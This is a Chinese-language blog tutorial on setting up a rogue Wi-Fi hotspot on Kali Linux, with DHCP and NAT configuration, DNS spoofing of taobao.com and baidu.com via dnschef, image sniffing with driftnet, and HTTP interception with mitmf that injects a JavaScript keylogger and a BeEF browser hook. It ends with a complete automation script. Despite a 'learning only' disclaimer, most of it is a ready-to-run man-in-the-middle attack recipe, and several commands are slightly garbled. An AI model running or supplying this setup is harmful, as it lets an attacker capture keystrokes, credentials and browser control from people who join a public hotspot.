文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。请不要做一只咖啡馆里安静的猥琐大叔。

写在前面

从至少一年前我就一直想在自己跑kali的笔记本上架个钓鱼热点。然而由于网上的教程的nat写得有问题,别人写好的脚本和我电脑有些互不待见,最接近成功的一次只做到了qq能聊天,百度都上不去。

而最近忽然意识到了问题的所在,成功实现了建立wifi热点,dns劫持,js注入,图片嗅探,和BEEF结合对用户浏览器进行攻击测试。

故写此文分享给大家,希望与之前的我有一样困惑的同志们能有所收获。

建立热点

工具:isc-dhcp-server  ;Aircrack-ng套件;iptables

建立过程:

首先写dhcp配置文件/etc/dhcp/dhcpd.conf

写入如下内容:

authoritative; default-lease-time 700; max-lease-time 8000; subnet 10.0.0.0 netmask 255.255.255.0 { option routers 10.0.0.1; option subnet-mask 255.255.255.0; option domain-name-servers 10.0.0.1; range 10.0.0.10 10.0.0.100; }

这里以10.0.0.1作为网关和dns服务器地址。

然后我们处理无线网卡

ifconfig wlan1 down           #wlan1修改成你的网卡 iwconfig wlan1 mode monitor
ifconfig wlan1 up
airmon-ng start wlan1

上述命令可以防止出现:Error: Got channel -1, expected a value > 0.

然后用airbase建立热点

airbase-ng -Fishing -11 mon0

热点的网络流量会被虚拟到at0这块网卡上面

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

打开ip转发

echo 1 > /proc/sys/net/ipv4/ip_forward

开启dhcp

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
service isc-dhcp-server start

然后可以试着用手机连接,应该可以连上但上不了网

于是配置NAT

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0进行源nat iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT #把无线网卡流量转发到有线网卡(或者什么能上网的网卡)上面 iptables -A FORWARD -p tcp --syn -10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大报文段长度

注意那第三个命令调整MSS,不加后果很严重(我就一直死在这里)

(这里可能还是DNS错误,请看后文中的dns代理服务器搭建)

劫持DNS

工具:dnschef

过程:

dnschef -10.0.0.1 --nameserver 210.73.64.1#53

上述命令是以ip10.0.0.1(上文中的fakeap网关和DNS的ip)建立dns,对于所有请求转发到210.73.64.1进行解析。显然这只是个“代理”并没有劫持的功效

于是我们进化:

dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -10.0.0.1 --nameserver 210.73.64.1#53

把淘宝和百度解析到本机了。

当然可以把更多规则写在文件里:

剩下的大家自由发挥吧。

p.s:这个和后文中mitmf冲突,mitmf识别http协议中的目的主机,进行转发,不受这个dns伪造影响。

图片嗅探

这是一个很好玩的功能

工具:driftnet

过程:

driftnet -i at0

然后程序会打开一个小窗口显示所有传输的图片:

单击图片保存到/

当然可以开启 Adjunct mode:

driftnet -i at0 -a

直接保存图片并显示文件名。

劫持Web流量

这个更好玩

工具:BEEF;mitmf;iptables

过程:

先把80端口的流量劫持走(这里10000是mitmf默认监听端口)

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

然后打开mitmf

mitmf -i at0 --replace --search-str aaaaa  --replace-str bbbbb#把所有网页中的aaaaa替换成bbbbb

上图百度了aaaaa

好吧不要恶作剧了,上干货

mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger

mitmf在这里注入了js键盘记录器

和beef的攻击测试脚本,其余的攻击方式(比如javapwn)可以参考http://www.freebuf.com/tools/45796.html

最后用BEEF测试用户浏览器吧!

/usr/share/beef-xss/beef

浏览器打开http://127.0.0.1:3000/ui/panel ,初始用户名和密码都是beef

BEEF过于高深我还没玩得很清楚请大家自行探索。对了,不要忘了抓包

最后是我写的脚本

#清空iptables iptables -t nat -F
iptables -t nat -X  
iptables -t nat -P PREROUTING ACCEPT  
iptables -t nat -P POSTROUTING ACCEPT  
iptables -t nat -P OUTPUT ACCEPT  
iptables -t mangle -F  
iptables -t mangle -X  
iptables -t mangle -P PREROUTING ACCEPT  
iptables -t mangle -P INPUT ACCEPT  
iptables -t mangle -P FORWARD ACCEPT  
iptables -t mangle -P OUTPUT ACCEPT  
iptables -t mangle -P POSTROUTING ACCEPT  
iptables -F  
iptables -X  
iptables -P FORWARD ACCEPT  
iptables -P INPUT ACCEPT  
iptables -P OUTPUT ACCEPT  
iptables -t raw -F  
iptables -t raw -X  
iptables -t raw -P PREROUTING ACCEPT  
iptables -t raw -P OUTPUT ACCEPT   #建立热点 airmon-ng stop mon0
ifconfig wlan1 down           #wlan1修改成你的网卡 iwconfig wlan1 mode monitor
ifconfig wlan1 up
airmon-ng start wlan1 & sleep 2                  
gnome-terminal -x bash -"airbase-ng -e Fishing -c 11 mon0"              #按需求修改 sleep 2 ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1400 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 echo 1 > /proc/sys/net/ipv4/ip_forward #配置dhcp dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2 /etc/init.d/isc-dhcp-server start  #nat iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT
iptables -A FORWARD -p tcp --syn -10.0.0.0/24 -j TCPMSS --set-mss 1356 #劫持80 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 #劫持dns gnome-terminal -x bash -"dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53" #打开beef并进行80js键盘记录 gnome-terminal -x bash -"mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger" beef-xss

参考

http://xiao106347.blog.163.com/blog/static/215992078201463597381/

http://www.nigesb.com/setup-your-own-vpn-with-pptp.html

*作者:piece of the past